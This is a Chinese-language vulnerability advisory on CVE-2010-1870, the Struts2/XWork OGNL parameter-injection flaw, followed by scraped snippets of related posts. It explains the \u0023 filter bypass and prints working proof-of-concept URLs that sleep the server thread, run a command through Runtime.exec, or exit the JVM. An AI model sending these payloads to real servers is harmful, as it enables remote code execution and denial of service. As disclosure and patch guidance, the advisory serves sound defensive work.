http://mydomain/MyStruts.action?('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))&(d)(('@java.lang.Thread@sleep(60000)')(d))
线程休眠60s
http://www.nsfocus.net/vulndb/15431
发布日期:2010-07-09
更新日期:2010-07-15
受影响系统:
OpenSymphony XWork < 2.2.0
Apache Group Struts < 2.2.0
描述:
BUGTRAQ ID: 41592
CVE ID: CVE-2010-1870
XWork是一个命令模式框架,用于支持Struts 2及其他应用。
XWork处理用户请求参数数据时存在漏洞,远程攻击者可以利用此漏洞在系统上执行任意命令。
Struts2中WebWork框架使用XWork基于HTTP参数名执行操作和调用,将每个HTTP参数名处理为OGNL(对象图形导航语言)语句,而OGNL将:
user.address.city=Bishkek&user['favoriteDrink']=kumys
转换为:
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
这是通过ParametersInterceptor来执行的,使用用户提供的HTTP参数调用ValueStack.setValue()。
除了获取和设置属性外,OGNL还支持其他一些功能:
* 方法调用:foo()
* 静态方式调用: @java.lang.System@exit(1)
* 构建函数调用:new MyClass()
* 处理上下文变量:#foo = new MyClass()
由于HTTP参数名为OGNL语句,为了防范攻击者通过HTTP参数调用任意方式,XWork使用了以下两个变量保护方式的执行:
* OgnlContext的属性xwork.MethodAccessor.denyMethodExecution(默认设置为true)
* SecurityMemberAccess私有字段allowStaticMethodAccess(默认设置为false)
为了方便开发人员访问各种常用的对象,XWork提供了一些预定义的上下文变量:
* #application
* #session
* #request
* #parameters
* #attr
* #context
* #_memberAccess
* #root
* #this
* #_typeResolver
* #_classResolver
* #_traceEvaluations
* #_lastEvaluation
* #_keepLastEvaluation
这些变量代表各种服务器端对象。为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参数名中出现“#”字符,但如果使用了Java的unicode字符串表示\u0023,攻击者就可以绕过保护,修改保护Java方式执行的值:
#_memberAccess['allowStaticMethodAccess'] = true
#foo = new java .lang.Boolean("false")
#context['xwork.MethodAccessor.denyMethodExecution'] = #foo
#rt = @java.lang.Runtime@getRuntime()
#rt.exec('mkdir /tmp/PWNED')
<*来源:Meder Kydyraliev (bugtraq@web.areopag.net)
链接:http://secunia.com/advisories/32495/
http://www.exploit-db.com/exploits/14360/
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
http://mydomain/MyStruts.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
建议:
厂商补丁:
Apache Group
------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://svn.apache.org/viewvc?view=revision&revision=956389
分享到:
相关推荐
XWork处理用户请求参数数据时存在漏洞,远程攻击者可以利用此漏洞在系统上执行任意命令。 Struts2中WebWork框架使用XWork基于HTTP参数名执行操作和调用,将每个HTTP参数名处理为OGNL(对象图形导航语言)语句,而...
- 权限控制:XWork提供了安全机制,可以限制用户访问特定的Action或方法。 - 防止XSS和CSRF:框架内置了一些防止跨站脚本攻击和跨站请求伪造的防护措施。 7. **性能优化**: - 缓存机制:XWork支持缓存策略,...
然而,Struts2框架在过去曾曝出一系列的安全漏洞,其中最严重的一种允许攻击者通过HTTP请求直接执行任意系统命令,这极大地威胁了服务器的安全性。 这次提到的安全漏洞主要涉及Struts2的OGNL(Object-Graph ...
**Xwork** 则是Struts2的基础,它处理了Action的生命周期和执行流程。Xwork的主要功能包括: 1. **Action管理**:Xwork管理Action的实例化、初始化、执行和销毁,确保了每个请求都对应一个Action实例,避免了线程...
2.如果您使用基于Jakarta插件,请升级到Apache Struts 2.3.32或2.5.10.1版本。(强烈推荐) 3.升级到2.3.32所用到的jar包: freemarker-2.3.22.jar ognl-3.0.19.jar struts2-convention-plugin-2.3.32.jar struts2-...
而XWork是Struts2的核心组件,它负责处理Action的业务逻辑和控制流程。在深入理解Struts2与XWork的关系之前,我们首先需要了解MVC模式的基本概念。 MVC模式是一种软件设计模式,它将应用程序分为三个主要部分:模型...
2. **Command模式**:XWork2基于Command模式,Action作为命令对象,接收请求并执行相应操作。 3. **Type Conversion**:XWork2提供类型转换机制,自动将请求参数转换为Action字段的类型。 4. **Exception Handling...
XWork是Struts2的核心组件,它负责处理请求、业务逻辑以及动作调度。深入理解XWork的源码对于深入掌握Struts2的工作原理至关重要。 首先,我们需要了解XWork的几个关键概念: 1. **Action**:在Struts2中,Action...
Struts-xwork-core是Struts2框架的核心组件,它提供了Action和结果的执行模型,以及类型转换、数据验证和国际化等功能。在这个压缩包中,包含了该核心库的源代码,对于学习和理解Struts2的工作原理及其内部机制极具...
Struts2和XWork2是两个非常重要的Java Web框架,它们在开发企业级应用程序时起着核心作用。Struts2是基于MVC(Model-View-Controller)设计模式的开源框架,而XWork2则是其底层工作框架,负责处理Action和业务逻辑。...
Struts2是一个流行的Java web应用程序框架,用于构建和维护可扩展、高效且易于维护的MVC(模型-视图-控制器)架构的应用程序。它的核心是基于Action和Result的设计模式,提供了一种组织业务逻辑和表示层的方式。在这...
### Apache Struts2 (S2-045) 漏洞升级指南 #### 一、漏洞概述 **Apache Struts2** 是一个基于MVC架构的开源Web应用程序框架,广泛应用于Java EE的企业级应用开发中。然而,在2017年3月,**Apache Struts2** 被...
最全的struts2.3和xwork2.chm中文帮助文档
在这个“struts2 xwork源文件”压缩包中,包含了XWork框架的源代码,这对于开发者深入理解Struts2的工作原理和扩展功能非常有帮助。 在Eclipse这样的集成开发环境中导入XWork的源代码,可以使开发者在调试和查看类...
它来源于struts.xml配置文件,是Struts2将配置信息转化为运行时对象的关键。 7. **Result**:结果是动作执行后的输出,可以是JSP、FreeMarker模板或者其他任何类型。Result接口定义了如何处理动作执行后的结果,...
根据提供的文件信息,我们可以深入探讨Struts2与XWork2的相关知识点,特别是关于它们的下载、功能特性以及在实际项目中的应用。 ### Struts2框架简介 Apache Struts2是基于MVC(Model-View-Controller)设计模式的...
struts-2.3.16.1-all API xwork-core core
struts2 xwork-core 类图 chm
Struts2 S2-029 远程代码执行漏洞初探 ...Struts2 S2-029 远程代码执行漏洞是一个严重的安全漏洞,需要开发者和运维人员高度警惕,遵守安全编码实践,及时更新 Struts2 版本,避免此类漏洞的出现。